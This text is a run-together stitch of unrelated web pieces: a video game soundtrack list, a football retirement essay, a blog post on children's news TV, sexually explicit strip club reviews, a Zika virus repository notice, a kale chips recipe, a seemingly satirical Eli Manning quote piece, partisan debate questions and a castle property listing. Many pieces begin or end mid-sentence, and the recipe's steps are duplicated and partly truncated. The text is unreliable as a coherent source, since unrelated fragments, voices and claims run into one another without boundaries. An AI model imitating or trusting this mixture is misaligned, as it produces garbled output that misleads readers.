Tower Stage 1 from Mega Man: The Wily Wars Dr. Wily Tower Stage 3 from Mega Man: The Wily Wars Hyper Storm H. Stage from Mega Man: The Wily Wars Mega Water S. Stage from Mega Man: The Wily Wars Base (Part 1) from Mega Turrican Intro Stage - Museum from Megaman & Bass (SNES) Dynamo Man Stage from Megaman & Bass (SNES) Search Man from Megaman 8 Wood Man from Megaman 8 Dynasty (Variation) from Megaman X8 Main Theme from Metroid II: Return of Samus Torvus Bog Main Theme from Metroid Prime 2: Echoes SkyTown from Metroid Prime 3 Corruption Magmoor Caverns from Metroid Prime Planet Tallon IV from Metroid Prime Tallon Overworld Depths from Metroid Prime Kraid's Lair from Metroid: Zero Mission Billie Jean from Michael Jacksons Moonwalker (Genesis) Soft Collision from Mighty Switch Force 2 Jive Bot from Mighty Switch Force Caught Red Handed from Mighty Switch Force Monkey's Delivery Service from Mother 3 A Master, a Father, a Thief from Mother 3 Gloom of the N.H.C. from NiGHTS into Dreams Paternal Horn from NiGHTS into Dreams Take the Snow Train from NiGHTS into Dreams The Amazing Water from NiGHTS into Dreams System Settings - Internet Settings from Nintendo 3DS System Buried Relic from PMD:RBRT Glitzville from Paper Mario: The Thousand Year Door Petal Meadows from Paper Mario: The Thousand Year Door During the Test from Persona 3 Secret Base from Persona 4 Reasoning from Persona 4 SEBEC from Persona Garden of Hope from Pikmin 3 The Roof from Plants vs. Zombies Beach from Plok Joe's Theme from Pokemon Battle Revolution The Final Duel ~ GR's King Villicci from Pokemon Card GB2 GR Castle from Pokemon Card GB2 GR's Lightning and Psychic Forts from Pokemon Card GB2 Pokémon Center from Pokemon Colosseum Sevii Islands - Fortune & Quest Islands from Pokemon FireRed Sevii Islands - Floe & Chrono Islands from Pokemon FireRed Ragged Mountain from Pokemon Mystery Dungeon: Gates to Infinity Kyogre Bonus Stage from Pokemon Pinball: Ruby & Sapphire Thunder Temple from Pokemon Ranger: Guardian Signs Amp Plains from Pokemon Super Mystery Dungeon Beach Cave from Pokemon Super Mystery Dungeon Sand Dune of Spirits (Great Canyon) from Pokemon Super Mystery Dungeon Overworld from Pokemon Trading Card Game Normal Duel from Pokemon Trading Card Game S.S. Libra from Pokemon XD Blue Dome from Pokken Tournament Diggersby Land from Pokken Tournament Ferrum Dojo from Pokken Tournament Haunted House from Pokken Tournament Magikarp Festival from Pokken Tournament Neos City from Pokken Tournament Neos City (Night) from Pokken Tournament Old Ferrum Town from Pokken Tournament Old Ferrum Town (Winter) from Pokken Tournament Tellur Town from Pokken Tournament Tellur Town (Autumn) from Pokken Tournament Training Gym from Pokken Tournament Deep Drive from Rage Racer Vanishing Horizon from Ridge Racers Bowser's Galaxy Generator from SMG2 Sahasrara from SMTDDS River of Samsara from SMTDDS Will of the Species from SMTDS2 Last Boss Battle Before Transformation from Shin Megami Tensei III: Nocturne Challenge Quest B from Shin Megami Tensei IV Silver Mountain from Snowboard Kids System 2 from Sonic Heroes Frog Forest Zone from Sonic Heroes Fortuna from Star Fox Assault Dungeon from Star Tropics Digital Ignition from Street Fighter EX 2 Plus Hisstocrat from Super Mario 3D World Overworld from Super Mario Bros. 2 Castle (Super Mario World) - Mix from Super Mario Maker Overworld (New Super Mario Bros. U) - Edit from Super Mario Maker Title from Super Mario Maker Underground (Super Mario World) - Edit from Super Mario Maker Underwater (Super Mario Bros. 3) - Mix from Super Mario Maker Super Mario World Medley from Super Smash Bros Wii U Escape from Enemy Base from Tales of Symphonia Search a Seal - Sylvarant from Tales of Symphonia Search a Seal - Tethe'alla from Tales of Symphonia Character Select from Tatsunoko vs. Capcom: Ultimate All-Stars Eddy Gordo (PS1) from Tekken 3 Alternate Day from Terraria Corruption from Terraria Desert from Terraria Ice from Terraria Jungle from Terraria Overworld Day from Terraria Rain from Terraria The Hallow from Terraria Underground Hallow from Terraria Basement Theme from The Binding of Isaac Faron Woods from The Legend of Zelda: Skyward Sword Act 6 - The Swamps (NES Ver.) from The Smurfs (NES) Photo Booth from Tomodachi Life Lullaby of Deserted Hell from Touhou Chireiden Subterranean Animism Nr. 6. Shangai Teahouse ~ Chinese Tea from Touhou Koumakyou: Embodiment of Scarlet Devil Desire Drive from Touhou Shinreibyou: Ten Desires Let's Live in a Lovely Cemetery from Touhou Shinreibyou: Ten Desires Night Sakura of Dead Spirits from Touhou Shinreibyou: Ten Desires Tabula rasa ~ The Empty Girl from Touhou Yumejikuu: Phantasmagoria of Dim.Dream Subsong 2 from Turrican (C64) Pushing Onwards from VVVVVV Predestined Fate from VVVVVV Dr. Crygor from WarioWare: Smooth Moves Title Theme from Wii Sports Red Carpet Extend-o-matic (Full Edit) from World of Goo The Space Shrine Maiden Appears from Pokemon Go Casino Park Zone from Sonic Heroes System 2 from Sonic Heroes N's Castle Medley (Pokémon Black & White) from 4 Super Smash Bros Wii U ==For result: Bubblegum K.K. (8-Bit) from Animal Crossing New Leaf Original - Victory Fanfare [Chaos] from Dissidia: Final Fantasy Original - Victory Fanfare [Cosmos] from Dissidia: Final Fantasy Staff Roll from Dr. Robotnik's Mean Bean Machine (Genesis) 3rd Gear Drill Dozer Acquired! from Drill Dozer Undefeated Heart from Final Fantasy Tactics Advance The Four Warriors of Dawn from Final Fantasy V Setzer's Theme from Final Fantasy VI Starting a New Journey from Fire Emblem Monshou no Nazo Continue from Gunstar Heroes Your Bicycle from HarmoKnight Route 26 from HarmoKnight Credits from Hotel Mario Palace in the Sky from Kid Icarus Underworld Tower from Kid Icarus: Of Myths and Monsters Crossing the Finish Line from Kingdom Hearts II On the Debug! (OST) from Kingdom Hearts Re: coded Rainbow Across The Skies from Kirby and the Rainbow Curse Main Menu - 200% Completed from Kirby's Return To Dream Land Main Menu from Mario & Sonic at the Olympic Winter Games (Wii) Everyone's a Super Star from Mario Party 1 Staff Roll from Mega Man 10 Main Theme from Mega Man 2 Staff Roll from Mega Man 3 Weapon Get from Mega Man 3 Credits from Mega Man 6 Ending - A Hero Returns from Mega Man 7 Prologue - 6 Months later from Mega Man 7 Jewel Man Stage - Jewel Temptation from Mega Man 9 Sports News from Mega Man Soccer Title Theme from Mega Man Soccer Jupiter Stage from Mega Man V (Game Boy) Sky High - Grand Nuage (ZX Tunes Ver.) from Mega Man ZX Password from Mega Man: Dr. Wily's Revenge Stage Select from Mega Man: Dr. Wily's Revenge Dr. Wily Station from Mega Man: Dr. Wily's Revenge Title Theme from Mega Man: The Wily Wars Dr. Wily Tower Stage 2 from Mega Man: The Wily Wars Ending Theme from Mega Man: The Wily Wars Magic Man Stage from Megaman & Bass (SNES) Credits from Megaman & Bass (SNES |
hold a secret, it grows. I didn’t want to let this one fester inside me, simmering until it caused pressure or doubt.
I’ve thought a lot about my legacy, and what my last lecture should be. I want to be remembered as a hard-nosed football player. Throughout my career, especially in the beginning, I’ve had my run-ins and disagreements. I’ve been called a hot head. Some dirty laundry has been aired. When I leave this game, I just want people to remember Steve Smith Sr. as a guy who left everything he possibly had on the field. He played hard, he cared about his teammates and he never gave up. I don’t think anybody can take that away from me.
When you retire from football, you don’t die, you don’t stop breathing, you don’t stop being a person. You have a whole life ahead. These are glorious years, but you can have many more. I tell young players, you need to know that you’re vulnerable. You need to find someone that you trust, someone who can express to you what you don’t do well and teach you what you don’t know. John Kasay, my former Panthers teammate, was that person for me. Kasay was someone I regarded, not only as a teammate but also as a husband and father. I remember around 2005, he asked me if I knew what was in my portfolio, and did I understand it? Of course, like any other young guy being asked, by an older coworker whom he respects, a work question that he has no idea how to answer, I lied through my teeth. I felt uneasy going home that night and for the next few days wrestled with the facts: I was absolutely clueless and didn't understand what the statements that came in the mail each month meant.
Once a week, for the next few months, Kasay tutored me on finances. I took an internship at Morgan Stanley for two years. Everybody believes they’re not going to be “that guy who goes broke,” and they don’t have to be that guy as long as they do something about it.
Kasay gave me a book, The Richest Man in Babylon, which offers commonsense financial advice. To this day, I pass it along to teammates.
Simon Bruty/Sports Illustrated
I’m going to miss the people in football, I’m going to miss the game, but I’m not going to miss the pressure. I remember 2005 was one of the best years I had, but also one of the toughest mentally. One moment in particular stood out. We were in he huddle, late in the season, and a call was designed for me. Jordan Gross said, ‘Hey Steve, we need a play from you.’ Travelle Wharton looked me in the eyes and said, ‘Hey Steve, let’s go.’ That moment resonated. I sensed their urgency and their expectations. I felt the weight of not wanting to let them down. I don’t remember how that play turned out, but I remember that moment. Grinding through that pressure for 15 years, 16 games a season, for multiple plays a game is mentally and emotionally exhausting. Finally, now that I know I am done, I feel like I can play freely. I am liberated.
When you do something for 15 years, there’s a part of you that’s going to miss it. Sunday game days, training camps, mini-camps, early morning lifts and late-night film sessions—that’s not only all I know, but all my children know. Walking away, I will teach them that life goes on.
I am also going to teach them that you can take control over your life. You make decisions every day that shape your future. I’ve learned this by seeing so many of my friends have circumstances outside of their control dictate when their careers ended. While many see free agency as an opportunity for a player to get paid, the flip side is, it’s also a window for guys to be told they are no longer good enough. Whatever insecurities they had are heightened. You are no longer wanted. If I keep playing, at some point, it’s not going to be on my own terms. Hey Steve, we love you, but we’re going in a different direction.
Right now, I’m going in a different direction, on my own terms. I don’t know where my journey will go next, but I'm ready for what most people shy away from when they get older: change.Awesome piece from Eleanor Cummins in Slate on the current state of news programming for kids. It spends a decent amount of space on the page devoted to Nick News with Linda Ellerbee, which went off the air in 2015. I personally watched that show each week for years – I’ll never forget the episode that discussed AIDS and HIV. The episode featured Magic Johnson (clip below) as well as a few children who were HIV positive. I was only about 5 when that aired and I can still remember the effect it had on me; not only were the stories moving but I felt included in the conversation, and I felt like I was learning.
This piece from Slate appropriately asks: who is filling that gap? It suggests both Snapchat and SNL as possible answers.
Back when I could convince my parents to let me stay up late, I’d spend my extra waking hours watching Nick at Nite. There, in 2006, a 10-year-old could find reruns of old school hits like The Fresh Prince of Bel-Air and Home Improvement. But once a week, sandwiched between the feel-good family values, was a half-hour anomaly: Nick News With Linda Ellerbee. Nick News, which ran from 1992–2015, was styled like a nightly news program but made for elementary and middle schoolers. It was serious, and it took kids seriously. It was one of the first places I heard about climate change, when Al Gore spoke with Ellerbee about An Inconvenient Truth. It appears to be the first place future British royal Meghan Markle appeared on camera, at age 11, lambasting sexism in advertising. It covered debates over terrorism, children living with terminal illness, and the toll of physical abuse within families. “It wasn’t always necessarily the biggest ratings driver,” said Bronwen O’Keefe, who helped to produce Nick News and is now a senior VP at the network. “We weren’t going to dumb anything down for the audience and we weren’t going to avoid things that were controversial.”
Each Tuesday is EducationTuesday here at Adafruit! Be sure to check out our posts about educators and all things STEM. Adafruit supports our educators and loves to spread the good word about educational STEM innovations!473
3340 S Highland Dr
Las Vegas, NV 89109
(702) 796-3600
Came here on a Friday night around 9:30PM. Called the limo and it was a very quick pickup, we were the only people in a huge limo van. Rolled up to the club and got in no problems and no cover. As soon as we walk in it's bumping and there's tons of guests and girls there. This is not a full nude club, they have a full bar. We got drinks and sat down. No one approached us so we got bored and waited until seats in front of the stage opened up and moved over there. Stuffed some singles in some g strings. I motor-boated which was awesome lol. The girls are all super friendly and nice actually. I thought they would be much more aggressive but we didn't really get approached that much. I don't know if it was because we were a couple or what. I wanted to get a lap dance but no one approached us that I was interested in and I didn't get a chance to flag down a girl. They were all really pretty and hot and smelled good haha. I would definitely recommend coming here. No sketchy vibes at all, everyone minds their own business.
Always good looking girls that work here. Plus it's more of a standard strip club layout versus sapphire where it's a huge open room. If you just arrive to entrance it's $50 entrance. Man what happened to $10 & $20 entrance fees? Haha have them pick you up in the limo and they'll waive the entrance fee. They accept credit cards here without charging a surcharge but it's a $50 minimum at the bar. Not hard to hit $50 in drinks here Haha $250 lap dance for 30 minutes. Don't expect to get laid here. The security be like hawks lol I have met a couple girls here that I went out with outside of the club and accomplished the mission haha Overall a great place to have some drinks and hang out with hot girls but it ain't cheap. Minus a star cause ain't no sex here like I'm used to in Mexico
They have hired a lot of new beautiful entertainers. VIP rooms are very fun ;) Met two very beautiful women with tattoos. I had a wonderful time. This is definitely the classiest club in Las Vegas.
Best club in Las Vegas! No question about it. I've worked in probably all the clubs in Oregon and Rhino is seriously Paradise compared to the clubs I've seen. You'll walk in the door and will see about 200 half naked hot girls, ready to have fun with you! I was there with my guy and we got attacked by probably 20 beautiful girls and we LOVED IT! It was fun, but yes, like any clubs, it does cost to have fun there (well, it doesn't have to) but honestly, I think it's worth it, the price is the same anywhere anyway, so I totally recommend this place.
Rude staff, and very expensive for such attitude. Don't get me wrong, the girls are hot and very nice but the male staff are a bunch of jerk-offs. Obviously only care about you til the next guy pays them off. Honestly you pay $50 just to walk in this place so you would think the service would be nicer. Not the case. Vegas is a very competitive city so I'm my opinion take your money elsewhere!
It's Vegas. It's a strip club. Keep your head on straight and have fun. We continually have a great time at the Rhino and find the staff to be genuinely nice (drivers, bouncers, wait staff). The dancers are there to help you part with your money so go with the appropriate expectations and pace yourself. 1) take the free limo, tip generously 2) be friendly to the staff, they're friendly so don't be an a-hole 3) never, never use a credit card 4) the "back room" hardly ever a good idea. Get a table and bottle service near the main stage with your money and watch the show and meet girls from there. 5) 2am+ on weekends is rookie dude time. The girls know it and it's probably time to leave when large groups of guys start showing up drunk to drop stupid cash. Enjoy and thanks again to the staff for welcoming couples and bring so great.
Well... With my "boys" in town for a bachelor party. We quickly took a trip to Chicago then back to Vegas. We went to a Day club then the bachelor asked my advice on a Strip club. I've been to them all and seen a lot come and go. This is among the top of the list. A lot of eye candy, good food, good bartenders and plenty of guys and girls here to see the dancers. A couple of the girls were trying hard to get the hustle on but we knew what the deal was so it's all good. We had a lot of dances, a lot of drinks then got a limo back to my place as nobody was able to drive.
If I could give this Zero stars I would! I sat down with a girl who told me this was her first night right?....WRONG! After conversations with her and she telling me lies, I paid her to get up. I literally watched this chic grab my wallet and tried to walk off. I watched her take it and and when I confronted her, she tried to play dumb and I said give me my fucking wallet! Then there was another stripper who was watching this said "hey there's a wallet on the floor" then this dumb chick said did you drop your wallet? I'm like no bitch you fucking took it! She then ran off in the dark. I notified security and they were in no rush to find her thieving ass! I got my crew the hell out of there and will NEVER go back there. I DO NOT recommend this place at all!
The girls are beautiful, but watch out for the private room scam. They said $100 for 3 songs, but ended up charging $100+$45 room fee+$50 tips. Watch out!
QUICK & DIRTY: They fly in beautiful women from around the country to dance at Spearmint Rhino, and you'll likely spend a mortgage payment and then some there. ***** No joke, I may have injured my rotator cuff by throwing one-dollar bills all night, lost my friend for five hours, and lived one of the craziest nights of my life. Spearmint Rhino served as the exclamation point to a disjointed, drunk sentence that was my friend's bachelor party weekend. Things to know: ***** I. LOCATION & PARKING: If you call ahead of time, the club may have a relationship with the hotel you're staying at and could arrange a free limo to pick you up. The driver gets a cut; that's why they do it. II. ENTRY: They have general admission through the front, but you could possibly work out a deal by calling ahead. My party and I entered through their back entry-way. There, you'll likely pay a more affordable fee and a host will direct you to a table. III. EXPERIENCE: As I noted above, they fly in gorgeous women from the around the country to dance there; however, they act hella aggressive. (More on that later.) Like any strip club, you get a table, ladies walk up to you, and then they ask you, for lapdances. Each dance costs $20. And then private rooms and such cost a lot more. I was there, for a few hours, and after having a grip of drinks, I can only recount the following events: ===Event #1 - Stripper Shove & Diss === I exited the bathroom (very nice, BTW), and I saw a Filipina girl waiting there, for me. I just thought, "Oh damn, she's gonna take all my money," so I avoided eye contact and kept walking. As I walked past her, she literally shoved me as hard as she could with both of her hands and shouted, "Yo, are you gonna buy a dance from me or what, huh? Don't you think I'm hot?" I mean, she was a beautiful girl, but I haven't done martial arts since 21 and don't got time to fight with an Asian sista. I kept walking. lol. ===Event #2 - Harmony's Lapdance & Hustle=== "Harmony" -- a beautiful half-Puerto Rican half-Egyptian woman -- walked over to me at a table. She asked if I wanted a dance, and I encouraged her to dance on my friend/ the bachelor; however, like many times throughout the night, he occupied himself with a pair of boobs or an ass in his face. She seemed nice, so we went over to a corner and... talked about her childhood (for like twenty minutes)? Sure, she was hustling me, but in addition to her looks I thought she has lived an interesting life. She gave me a dance, for 15 minutes and then wanted me to pay hella money, for a private room (which is typical). I said no, but replied by saying, "Here's $20 to dance on my friend." Harmony took the money, walked over to my friend, and he drunkenly said, "no." I never saw Harmony again. ===Event #3 - Possibly Injuring My Rotator Cuff=== The bachelor's future brother in law got hella wasted that night. While sitting at their main stage, he handed me $200 in $1s, and whispered in my ear, "I want you to throw these bills as hard as you can UNTIL ALL OF THEM ARE GONE!" "All of them?", I replied with uncertainty. "All. Of. Them. My arm hurts, and I need to take a break." So, I did just that. I started "Making it Rain" three dollars at a time, which seemed too basic. I then switched over to overhand throwing. Unfortunately, the aerodynamics of the bills caused them to float back to me. This required me to eventually switch to underhand and then just sliding bills into g-strings. ===Event #4 - Stripper Dances w/ Ketchup=== We did not eat enough in Vegas, and every time our party visited a strip club my stomach grumbled in pain. So I ordered an appetizer platter, and it arrived with mozzarella sticks, a quesadilla, and other football game-like bites. While eating a stripper came over to my friend and put her legs on his shoulders and shook her thang. While doing so some ketchup got on her leg. So throughout the rest of routine, she danced with ketchup. LOL! ===Event #5 - We Lost the Bachelor === He literally dissapeared, for hours. I left to go home around 4 am and he didn't come back until 9:30 am. ***** IV. OVERALL: Spearmint Rhino Las Vegas, but it will cost you. Oh, and eat before hand. They could def improve their food. lol.
Tips for your first time at Spearmint Rhino. Use the complementary limo service and admission/front door fee is waived. My friends and I called the phone number on the site 702-796-3600, we told them how big our party was and they give you an estimate time on when they'll be at your hotel pick up area. I never paid the front door fee and don't even know how much it is ($50 ish from what I read in the reviews). The limo is a sprinter that seats 10 comfortably. Clean, smooth, comfortable and quick ride to Rhino. It's free service but each passenger tipped the driver $5. You get dropped off at the back entrance where there no cover fee. Dress code (see inserted picture) I wore a black t-shirt, jeans and loafers. Sneakers are allowed. No sandals, sweatpants or hats. At the door they will check ID, pat you down and have a metal detector wand. After everything is clear, you go right in. Walking through Rhino your first time will be overwhelming. Lots of seats, lots of girls in lingerie and about 3-4 stages. Rhino is a strip club more centered on lap dances and not pole acrobatics and throwing money as seen on hip-hop music videos and movies. When you come through the entrance, the girls know you're new so they link arms with you and take you to your seat. They sit on your lap, ask your name and start small talk. Eventually they ask if you want a VIP private lap in the back. You may feel pressured and persuaded to agree but you can simply say you're not interested. Don't give a runaround saying "maybe later" a simple "no thank" you is ok. If you agree to a VIP lap dance, your girl will walk you to the back. Before you enter, security makes sure you pay the girl $100. Once inside, you have to spend an additional $45 for two drinks, one for you and one for your girl. For a $100, you get a 15 minute (3 songs) lap dance - the girl gets topless and you're allowed to touch their breasts and behind. The benefit of VIP is you don't have other guys watching you. No vaginal play, no handjobs and no sex in case you're wondering. The guy's pants stay on and the girls underwear stays on. Just lap dance, topless, touching and grinding. Maybe for a certain price you can get additional "services" but I'm not sure about that. After 15 minutes, your girl will most likely whisper to give her another $100 for 15 more minutes. In the general floor area, a girl will approach you every 5-10 minutes, especially if you make eye contact. They will sit on your lap and have more small talk - where you from, how you doing, etc. They will either offer a VIP lap dance or a lap dance right where you're sitting. A lap dance is $20 per song. Similar to VIP, girls get topless and most girls allow touching but you're out on the main floor with other guys around you. Be clear with your girl how many songs you want. Sometimes they will keep dancing and after a few songs, will charge you for the 3 songs they counted =$60. One thing you'll notice is they're skin is very smooth and strippers smell good, like baby powder haha. After your lap dance, sometimes your girl will sit on your lap and just continue the conversation. A few guys hang out and buy them a drink. The stages have girls dancing for their allotted time and the viewers pass $1s during their performance. New stage performers are rotated about every 10 minutes. Final tips and summary -bring cash, there are ATMs and a bill breaker booth for $1s. -have a plan and budget, you'll be tempted to spend more money. -don't come super drunk, you will end up spending more money that you intend. -don't be scared to say no -use the free limo service and waive the entrance fee -VIP lap dance $100 per girl for 15mins/3songs + $45 one drink for you and one drink for your girl. -Floor lap dance $20 per girl per song.
Honestly the worst most ghetto strip club ive EVER been to in my life. Don't every go here. I'd rather, watch crack heads dance for FREE than this trash.
This is the best strip club in Las Vegas. Every time I walk in their are hundreds of really hot girls from all over the world. Surprisingly, the girls tend to be pretty cool here and I have made some friends at this club. If you are visiting Las Vegas, this is the place you gotta visit. You won't regret it. They have multiple stages, multiple bars, and offer food as well.
I've been coming here for over 8 years, with my staff and my clients. Out of all the Strip clubs in vegas this one continues to be of a higher caliber. Yes girls can be aggressive but that's at any strip club and if you do not want to be bothered Rhino has multiple rooms to get more privacy and smoke free Lounges. Remember to call for free limo and free cover, taking a cab to any strip club will make you pay the cover charge
Amazing club! No dress code, no hassle, incredible women, all fun! I recommend this strip club.
Worst club I've ever been to in Vegas. I can't even stress how much this establishment needs a renovation- especially management. No respect for a potential client or potential new hires. I've seen more class at Denny's. Aggressive and disrespectful is what you should expect... if you're already tipsy enough not to care and don't mind overspending, go for it.
Tony: door guy be carful he wants to get tipped big money.. this place is scam because of him
I arrived here on a Saturday in January 2017 in the evening, I spoke with Lyft driver to just drop me off at the corner, but he proceeded to take me here directly. The lady at the window ask for $50 because I arrived by a Lyft driver. I refused to pay that amount, I did not ask for recommendation. I been coming here for years and will no longer be a loyal patron, this was the only club I enjoyed coming to. I told the lady I refuse to pay and she did not care, whats even more hilarious is the club pays the driver anyways, as I witness him getting paid. Too bad the owner didn't see this, I am sure someone would be fired by now. Instead of collecting $25 from me, they lost $25 of it paying the driver at a lost. How do you lack financial sense? All the strip clubs I been to is dying at a slow pace because of the extreme cost. All these clubs will keep charging you if you are too stupid enough to do so. Don't be fooled by the PR stunt that the manager reply's too. They say you should of called and asked for pickup is bullshit, there is no such thing as free. Vegas thrives on the prey. There's also a slowdown in tourism in Vegas and will be at our mercy.
I was kicked out this brothel because the woman manager told me "you're taking attention away from the strippers". What's so crazy is they actually let me in and "almost" get a drink before escorting me out lmao. I was there less than 3 minutes. They let my boys pay for my cousins and I to get in knowing that they were going to discriminate off my looks. The security was rude as ever and so was the manager. It was a compliment and a slap in the face at the same time lol but if you're a female who is beautiful and wears something distracting...they're going to kick you out because they're scared you're going to take their clientele and money away. Wellll excusecryptogon.com news – analysis – conspiracies
February 7th, 2016
From ATCC Product Page, Zika Virus (ATCC® VR-84™):
Via: ATCC Press Release:
ATCC, the premier global biological materials resource and standards organization, is poised to assist the medical and life science researchers that are working to address the evolving concerns around Zika Virus infection.
Zika virus is a single-stranded RNA virus of the Flaviviridae family, genus Flavivirus, which also includes the West Nile, Dengue and Chikungunya Viruses. Zika virus is transmitted to humans primarily through the bite of an infected Aedes species mosquito. For more information on the disease, please refer to the CDC website.
The virus was first deposited into ATCC by Dr. Jordi Casals of the Rockefeller Foundation Virus Laboratory in 1953. Since that time ATCC has made the Zika virus (ATCC® VR-84™) strain MR766 available for research purposes to qualified scientists and laboratories, on a global basis, through a highly vetted process that requires them to demonstrate they have appropriate facilities and safety programs in place (in accordance with Biosafety in Microbiological and Biomedical Laboratories (BMBL) guidelines). ATCC is now working to respond to the greatly increased demand for the Zika virus in an effort to support a better understanding of its biology and to foster development of accurate and dependable diagnostic tests.
In addition to ATCC, three stains of the Zika virus are available through BEI Resources, a NIAID Biorepository established to support basic research and develop improved diagnostic tests, vaccines, and therapies. Registration and approval is required by NIAID to obtain these viruses. www.beiresources.org
Research Credit: Pookie
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You must be logged in to post a comment.Baked kale chips – healthy alternative to potato chips!
If you crave potato chips or something crispy and salty you won’t be disappointed in this baked kale chips recipe. Its benefits include:
Super easy – only 3 ingredients
Super easy – only 3 ingredients Healthy and nutritious
Healthy and nutritious Versatile: great for garnish or snack
Versatile: great for garnish or snack Paleo
Paleo Vegan
Ingredients
A bunch of curly kale
A bunch of curly kale 1 tablespoon of liquid oil (preferably cold-pressed and unrefined sunflower, sesame or even extra virgin olive oil will work as the chips are baked at below its smoke point)
1 tablespoon of liquid oil (preferably cold-pressed and unrefined sunflower, sesame or even extra virgin olive oil will work as the chips are baked at below its smoke point) Salt (preferably natural, like Himalayan pink salt)
Directions
Preheat the oven to 275F.
Preheat the oven to 275F. Wash kale thoroughly.
Wash kale thoroughly. Remove leaves from stems. I just hold the bottom of a brunch and slide the leaves up with the other hand.
Remove leaves from stems. I just hold the bottom of a brunch and slide the leaves up with the other hand. Tear the leaves into bite-size pieces.
Tear the leaves into bite-size pieces. Dry them thoroughly in the salad spinner and then pat dry with a paper towel. You don’t want to have soggy chips!
Dry them thoroughly in the salad spinner and then pat dry with a paper towel. You don’t want to have soggy chips! Put your kale in a very large bowl and drizzle a little bit of oil. You need less oil than you think – it looks like there’s a ton of kale as curls create volume, but it’s going to shrink a lot in the oven. You can always add more oil if you feel like it didn’t coat the kale all the way.
Put your kale in a very large bowl and drizzle of oil. You need less oil than you think – it looks like there’s a ton of kale as curls create volume, but it’s going to shrink a lot in the oven. You can always add more oil if you feel like it didn’t coat the kale all the way. Sprinkle with a small amount of salt. Again, for the same reason as above, you can add more salt when it’s cooked if you want. I put too much salt the first time I made baked kale chips and had to use them as a garnish, “kale salt”.
Sprinkle with a of salt. Again, for the same reason as above, you can add more salt when it’s cooked if you want. I put too much salt the first time I made baked kale chips and had to use them as a garnish, “kale salt”. Mix well with your hands.
Mix well with your hands. Line a baking sheet with parchment paper and spread the kale evenly, separating each piece. If the pieces are too crowded, the chips might turn out soggy. Yes, there will be more kale left in the bowl, but I recommend to bake one sheet at a time so that the chips are cooked evenly. It only takes 20 minutes!
Line a baking sheet with parchment paper and spread the kale evenly, separating each piece. If the pieces are too crowded, the chips might turn out soggy. Yes, there will be more kale left in the bowl, but I recommend to bake one sheet at a time so that the chips are cooked evenly. It only takes 20 minutes! Bake for 20 minutes. Depending on your oven you might need to bake at a higher temperature (300F) or for a bit longer, about 22-25 minutes. I like to take the chips out before the edges start turning brown (unlike in some other recipes).
Bake for 20 minutes. Depending on your oven you might need to bake at a higher temperature (300F) or for a bit longer, about 22-25 minutes. I like to take the chips out before the edges start turning brown (unlike in some other recipes). Take it out and let cool down for 3 minutes. A very important step, because the chips will further harden.
Take it out and. A very important step, because the chips will further harden. Make the next batch.
I store baked kale chips in a bowl in the fridge to prevent the humidity from making them soggy especially in the summer.
Baked Kale Chips Recipe
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Pinterest Tumblr Reddit emailWith time running out in the Giants-Seahawks football game, Eli Manning’s decision to spike the ball somehow turned into a 93-yard Seahawks’ interception for a touchdown.
“It was just one of those plays,” said Manning, dressed sharply and confidently despite his abysmal day as quarterback. “The corner got off the edge very quickly and beat the football to the ground. There wasn’t really anything else that I could have done.”
Earlier in the game, the Seahawks also managed to sack Manning in the endzone for a safety on a play the Giants began on their own 30-yard line.
“I don’t even know what happened on that safety. Literally, I have no recollection,” said Manning. “It was crazy. I guess I just scrambled a bit too far out of the pocket. I will have to look at the footage because I honestly don’t even understand how I managed to do that. It’s actually pretty impressive when you think about it.”I think we’ve had more debates in the past few weeks for the Republican candidates so far than are typically held in the entirety of an election season, but the questions have generally been completely obvious, yielding only the usual expected platitudes.
In hopes of both making the debates more meaningful and encouraging the selection of the best possible candidate to rise to the top, I’ve been regularly tweeting out questions during the various debates, usually under the #GOPDebate hashtag.
At the behest of a few Twitter followers, I’ve collected many of the questions I’ve asked so far on this post. I’d love to see more of your questions along similar lines, but please note: I’m interested in asking sincere questions which could actually be posed to candidates on television, and am trying to predicate my questions on actual positions held by actual candidates. In that spirit:
Military & Foreign Policy
Do you pledge not to pursue war crime prosecution against the Taliban when they waterboard our soldiers?
Why does it make America safer to find new ways to discharge soldiers who voluntarily served our country with honor?
Why was President Obama’s handling of Libya so much better than Bush’s handling of Iraq?
Why is it a bad idea for Muslim nations to practice theocracy but good for the U.S.?
Why would your foreign policy be the opposite of President Obama’s plan which killed Bin Laden?
Immigration & Citizenship
Why would the U.S. be better with an immigration policy which would’ve kept Steve Jobs from being born here?
Do you believe our lack of federal requirements for gun registration is a magnet for undocumented immigrants?
Why do you think the English language can’t compete in the free market & requires a socialized language policy to subsidize it?
Will you support liberty by making the identification requirements for employment and gun purchase the same?
How much will it cost to deport all of the undocumented immigrants you’d like to kick out of the country?
Would you support a deterrent tax of 100% of all income on CEOs of corporations which employ undocumented workers?
Values & Ethics£795,000 to spare? Then you could be the king of this Cullybackey castle BelfastTelegraph.co.uk Ever wanted your own baronial pad? https://www.belfasttelegraph.co.uk/news/northern-ireland/795000-to-spare-then-you-could-be-the-king-of-this-cullybackey-castle-31082802.html https://www.belfasttelegraph.co.uk/news/northern-ireland/article31082800.ece/df9b7/AUTOCROP/h342/2015-03-21_new_7967757_I5.JPG
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Ever wanted your own baronial pad?
Well, this spectacular castle close to Cullybackey has just gone on the market for a cool £795,000.
The fairy-tale castle of Craigdun was once the home of fiery Unionist MP Ronald McNeill, Lord Cushendun, who famously threw a book during a fraught Home Rule debate and struck Winston Churchill squarely in the head.
The famous Orangeman was also the UK's tallest barrister at the time, clocking up a lanky six foot six inches, was co-editor of Encyclopedia Brittanica and the diplomat who signed Britain up to the Kellogg-Briand pact of 1928.
The historic treaty was signed by 62 nations - including Germany, Soviet Union, Japan and Italy - who swore never to declare war on another country again. From then on, nations did cease declaring war, but many took to simply attacking without warning and the treaty was followed by undeclared invasions of China by Japan, Abyssinia by the Italians, Finland by the Russians and Poland by the Germans.
The Co Antrim castle is thought to have been designed by famous architect Charles Lanyon. It was built in the Scottish baronial style during the 1860s by Ronald's father, 'Long Eddie' McNeill, who loomed over his son at six foot seven-and-a-half inches.
The original Craig's Castle had been built on site in the early 17th century under grant from the crown in the reign of James I, but was knocked down by the McNeills who arrived in the 1670s from Scotland and used the masonry for the current castle.
Ronald McNeill sold the castle in 1912 to the Stott linen family and Doreen Stott donated it to the Northern Ireland National Health Service after her son Peter died of multiple sclerosis.
It was transformed into an MS treatment centre but was taken over in the 1990s by former fish farmer William Baird, who lived there with his wife Romayne before selling it to the current owners.
They restored it into a comfortable family home with formal gardens and their efforts were rewarded when the castle made it to the final of BBC House of the Year in 2011.
